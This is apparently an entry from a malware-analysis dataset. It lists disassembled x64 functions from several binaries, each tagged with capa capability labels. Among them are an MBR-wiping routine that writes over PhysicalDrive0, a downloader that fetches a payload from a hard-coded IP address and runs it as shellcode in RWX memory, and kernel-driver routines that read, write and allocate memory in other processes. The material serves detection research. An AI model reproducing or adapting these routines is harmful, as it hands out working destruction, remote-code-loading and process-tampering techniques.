joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001c18
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x150
mov rax, qword [0x140008810]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov rbx, qword [sym.imp.ntoskrnl.exe_ExGetPreviousMode]
xor edi, edi
lea rsi, [rbx + 0x14]
jmp 0x140001c79
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
test al, al
je 0x140001c76
cmp byte [rbx], 0x80
jne 0x140001c76
lea rcx, [rbx + 5]
call qword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
test al, al
je 0x140001c76
cmp byte [rbx + 5], 0xc3
je 0x140001c80
inc rbx
cmp rbx, rsi
jb 0x140001c50
jmp 0x140001c87
mov edi, dword [rbx + 1]
test edi, edi
jne 0x140001cc8
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x118
call fcn.140002cc0
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x11c
call qword [sym.imp.ntoskrnl.exe_RtlGetVersion]
test eax, eax
jne 0x140001cc8
cmp dword [rsp + 0x24], 6
jne 0x140001cc3
cmp dword [rsp + 0x28], 1
mov edi, 0x1f6
je 0x140001cc8
mov edi, 0x232
mov eax, edi
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400026c0
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140001f6c
Capabilities:
Attach user process memory
Find process by pid
Print debug messages

Disassembly:
push rbx
push rsi
push rdi
push r14
sub rsp, 0x88
mov rax, qword [0x140008810]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov r14, r9
mov ebx, r8d
mov rsi, rdx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x38], r9
xor edi, edi
mov qword [rsp + 0x30], rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
mov ecx, ecx
lea rdx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x140001fd7
lea rcx, [0x140003000]
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0xc0000001
jmp 0x140002041
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
nop
mov r8d, 1
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ProbeForRead]
mov r8, rbx
mov rdx, rsi
mov rcx, r14
call fcn.140002a00
mov dword [rsp + 0x20], edi
jmp 0x140002029
lea rcx, [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, edi
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1400026c0
add rsp, 0x88
pop r14
pop rdi
pop rsi
pop rbx
ret

Function at 0x140002108
Capabilities:
Attach user process memory
Find process by pid
Print debug messages

Disassembly:
push rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x78
mov rax, qword [0x140008810]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov r12, r9
mov r14, rdx
mov r15d, ecx
xor ebx, ebx
mov qword [rsp + 0x28], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm0
mov esi, r8d
mov edx, r8d
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov rdi, rax
mov qword [rsp + 0x30], rax
test rax, rax
jne 0x140002178
lea rcx, [0x140003030]
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0xc0000001
jmp 0x140002219
mov r8, rsi
mov rdx, r12
mov rcx, rdi
call fcn.140002a00
mov rcx, r15
lea rdx, [rsp + 0x28]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x1400021b1
lea rcx, [0x140003000]
call sub.ntoskrnl.exe_DbgPrint
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
jmp 0x14000216e
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
nop
mov r8d, 1
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.ntoskrnl.exe_ProbeForWrite]
mov r8, rsi
mov rdx, rdi
mov rcx, r14
call fcn.140002a00
mov dword [rsp + 0x20], ebx
jmp 0x1400021f6
lea rcx, [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, ebx
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400026c0
add rsp, 0x78
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x140002234
Capabilities:
Attach user process memory
Find process by pid
Print debug messages

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140008810]
xor rax, rsp
mov qword [rbp - 8], rax
movups xmm0, xmmword [rdx]
xor edi, edi
mov ecx, ecx
lea rdx, [rbp - 0x60]
mov qword [rbp - 0x60], rdi
movdqu xmmword [rbp - 0x48], xmm0
mov r15, r8
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 0x58], xmm0
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov r14d, eax
test eax, eax
jns 0x1400022a5
lea rcx, [0x140003000]
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0xc0000001
jmp 0x140002392
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ntoskrnl.exe_PsGetProcessWow64Process]
mov rcx, qword [rbp - 0x60]
lea rdx, [rbp - 0x38]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rcx, qword [rbp - 0x60]
test rbx, rbx
je 0x140002321
call qword [sym.imp.ntoskrnl.exe_PsGetProcessWow64Process]
mov rsi, rax
mov ecx, dword [rax + 0xc]
add rcx, 0xc
mov ebx, dword [rcx]
cmp rbx, rcx
je 0x140002378
mov ecx, dword [rbx + 0x30]
test ecx, ecx
je 0x14000230c
mov edx, ecx
lea rcx, [rbp - 0x58]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov r8b, 1
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x48]
call qword [sym.imp.ntoskrnl.exe_RtlEqualUnicodeString]
test al, al
jne 0x14000231c
mov eax, dword [rsi + 0xc]
mov ebx, dword [rbx]
add rax, 0xc
cmp rbx, rax
jne 0x1400022e4
jmp 0x140002378
mov edi, dword [rbx + 0x18]
jmp 0x140002378
call qword [sym.imp.ntoskrnl.exe_PsGetProcessPeb]
mov rsi, rax
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rbx, qword [rcx]
cmp rbx, rcx
je 0x140002378
mov rdx, qword [rbx + 0x60]
test rdx, rdx
je 0x140002362
lea rcx, [rbp - 0x58]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov r8b, 1
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x58]
call qword [sym.imp.ntoskrnl.exe_RtlEqualUnicodeString]
test al, al
jne 0x140002374
mov rax, qword [rsi + 0x18]
mov rbx, qword [rbx]
add rax, 0x10
cmp rbx, rax
jne 0x14000233a
jmp 0x140002378
mov rdi, qword [rbx + 0x30]
lea rcx, [rbp - 0x38]
mov qword [r15], rdi
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, r14d
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400026c0
mov rbx, qword [rsp + 0xc8]
add rsp, 0x80
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400023b8
Capabilities:
Attach user process memory
Find process by pid
Print debug messages

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x140008810]
xor rax, rsp
mov qword [rbp - 8], rax
and qword [rbp - 0x50], 0
xorps xmm0, xmm0
and qword [rbp - 0x48], 0
mov qword [rbp - 0x40], rdx
lea rdx, [rbp - 0x50]
mov ecx, ecx
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x140002413
lea rcx, [0x140003000]
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0xc0000001
jmp 0x140002451
mov rcx, qword [rbp - 0x50]
lea rdx, [rbp - 0x38]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov r9d, 0x8000
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x40]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwFreeVirtualMemory]
lea rcx, [rbp - 0x38]
mov ebx, eax
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400026c0
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rbp
ret

Function at 0x14000246c
Capabilities:
Allocate or change rwx memory
Attach user process memory
Find process by pid
Print debug messages

Disassembly:
push rbp
push rbx
push rdi
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140008810]
xor rax, rsp
mov qword [rbp - 8], rax
and qword [rbp - 0x50], 0
xorps xmm0, xmm0
and qword [rbp - 0x48], 0
mov rdi, r8
mov qword [rbp - 0x40], rdx
lea rdx, [rbp - 0x50]
mov ecx, ecx
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x1400024cb
lea rcx, [0x140003000]
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0xc0000001
jmp 0x140002521
mov rcx, qword [rbp - 0x50]
lea rdx, [rbp - 0x38]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
lea r9, [rbp - 0x40]
mov dword [rsp + 0x28], 0x40
xor r8d, r8d
mov dword [rsp + 0x20], 0x1000
lea rdx, [rbp - 0x48]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov ebx, eax
test eax, eax
js 0x14000250b
mov rcx, qword [rbp - 0x48]
mov qword [rdi], rcx
lea rcx, [rbp - 0x38]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400026c0
add rsp, 0x80
pop rdi
pop rbx
pop rbp
ret
Function at 0x140002538
Capabilities:
Attach user process memory
Find process by pid
Print debug messages

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [0x140008810]
xor rax, rsp
mov qword [rsp + 0x58], rax
and qword [rsp + 0x20], 0
lea rax, [rdx - 0x10001]
xorps xmm0, xmm0
mov ebx, ecx
movabs rcx, 0x7ffffffefffe
mov r14, r9
mov rdi, rdx
movups xmmword [rsp + 0x28], xmm0
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
cmp rax, rcx
ja 0x14000267f
mov edx, r8d
xor ecx, ecx
mov ebp, r8d
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov rsi, rax
test rax, rax
jne 0x1400025ae
lea rcx, [0x140003030]
jmp 0x140002686
mov r8, rbp
mov rdx, r14
mov rcx, rsi
call fcn.140002a00
mov rcx, rbx
lea rdx, [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
test eax, eax
jns 0x1400025ec
lea rcx, [0x140003000]
call sub.ntoskrnl.exe_DbgPrint
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
jmp 0x14000268b
mov rcx, qword [rsp + 0x20]
lea rdx, [rsp + 0x28]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov r8, rbp
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_MmCreateMdl]
mov rdi, rax
test rax, rax
je 0x14000265a
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_MmBuildMdlForNonPagedPool]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_MmMapLockedPages]
mov rbx, rax
test rax, rax
je 0x14000264c
mov r8, rbp
mov rdx, rsi
mov rcx, rax
call fcn.140002a00
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_MmUnmapLockedPages]
xor ebx, ebx
jmp 0x140002651
mov ebx, 0xc0000001
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_IoFreeMdl]
lea rcx, [rsp + 0x28]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, ebx
jmp 0x140002690
lea rcx, [0x140003050]
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0xc0000001
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400026c0
add rsp, 0x60
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001000
Capabilities:
Terminate process
Write file on windows

Disassembly:
sub rsp, 0x268
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x30], 0
lea rcx, str..PhysicalDrive0
mov dword [rsp + 0x28], 0
xor r9d, r9d
mov edx, 0x10000000
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rsp + 0x50]
mov r8d, 0x200
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp eax, 1
jne 0x1400010bd
lea rdx, str.I_DELETE_YOUR_COMPUTER_LOL
call fcn.1400010f0
mov rcx, rax
lea rdx, [0x1400012d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, str.bye_bye:_
call fcn.1400010f0
mov rcx, rax
lea rdx, [0x1400012d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x140001c58
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ca2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ca2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ca2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ca2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ca2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ca4
xor al, al
add rsp, 0x28
ret
Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via indirect call
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push rbp
sub rsp, 0x170
lea rbp, [rsp + 0x80]
call fcn.140001740
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.MyApp
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
jne 0x1400014ac
mov eax, 1
jmp 0x140001652
lea rax, str.http:__101.43.219.
mov qword [rbp + 0xe0], rax
lea rax, str.218:8443_logo.jpg
mov qword [rbp + 0xd8], rax
mov rcx, qword [rbp + 0xe0]
lea rax, [rbp - 0x50]
mov rdx, qword [rbp + 0xd8]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x100
mov rcx, rax
call fcn.140008170
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xe8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x84000100
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0
jne 0x140001558
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 1
jmp 0x140001652
lea rdx, [rbp + 0xbc]
mov rax, qword [rbp + 0xd0]
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetQueryDataAvailable]
call rax
mov eax, dword [rbp + 0xbc]
mov eax, eax
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xc8], rax
mov ecx, dword [rbp + 0xbc]
lea r8, [rbp + 0xb8]
mov rdx, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xd0]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov eax, dword [rbp + 0xbc]
mov eax, eax
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0xc0], rax
mov eax, dword [rbp + 0xbc]
mov ecx, eax
mov rdx, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xc0]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp + 0xc0]
call rax
mov rax, qword [rbp + 0xc8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 0
add rsp, 0x170
pop rbp
ret

Function at 0x140001950
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140007af0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140007af0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x1400019c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e094]
mov rbx, rcx
test esi, esi
jle 0x140001af0
mov rax, qword [0x14000e098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001a0b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001a95
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400019f0
mov rcx, rbx
call fcn.140002440
mov rdi, rax
test rax, rax
je 0x140001b12
mov rax, qword [0x14000e098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002580
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001af7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001a8e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001aa0
add dword [0x14000e094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001a8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001950
nop dword [rax]
xor esi, esi
jmp 0x140001a18
mov rax, qword [0x14000e098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001950
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001950
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400020b0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e0e0]
test rbx, rbx
je 0x14000210c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002103
test eax, eax
jne 0x140002103
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400020e8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002440
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a730]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002460
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002468
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002460
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400024bd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400024b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002460
add rax, 0x28
cmp rax, r9
jne 0x1400024a0
xor eax, eax
ret

Function at 0x1400024c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a730]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400024df
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400024e8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400024df
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002580
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a730]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000259f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400025a8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x140013b10
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011271
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014e60
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014e80
xor al, al
jmp 0x140014f01
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014e93
xor al, al
jmp 0x140014f01
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014ebd
xor al, al
jmp 0x140014f01
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014ed1
xor al, al
jmp 0x140014f01
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014ee3
xor al, al
jmp 0x140014f01
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014eff
xor al, al
jmp 0x140014f01
mov al, 1
add rsp, 0x38
ret
Function at 0x14003cd00
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x10090
call fcn.1400419b0
sub rsp, rax
mov rax, qword [0x14007f480]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor ebp, ebp
mov rsi, rcx
mov word [rsp + 0x80], bp
mov edi, 0x28
mov word [rsp + 0x30], bp
test al, al
je 0x14003cdc2
nop dword [rax]
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.1400504e4
cmp rax, 1
jne 0x14003ce1e
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x14003cd9f
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x14003cd93
cmp rcx, 1
jb 0x14003ce1e
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x14003cd60
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x14003cdf3
lea rcx, [rsp + 0x80]
call fcn.140052fe4
jmp 0x14003cdf5
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.1400416e0
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.140044ea0
int3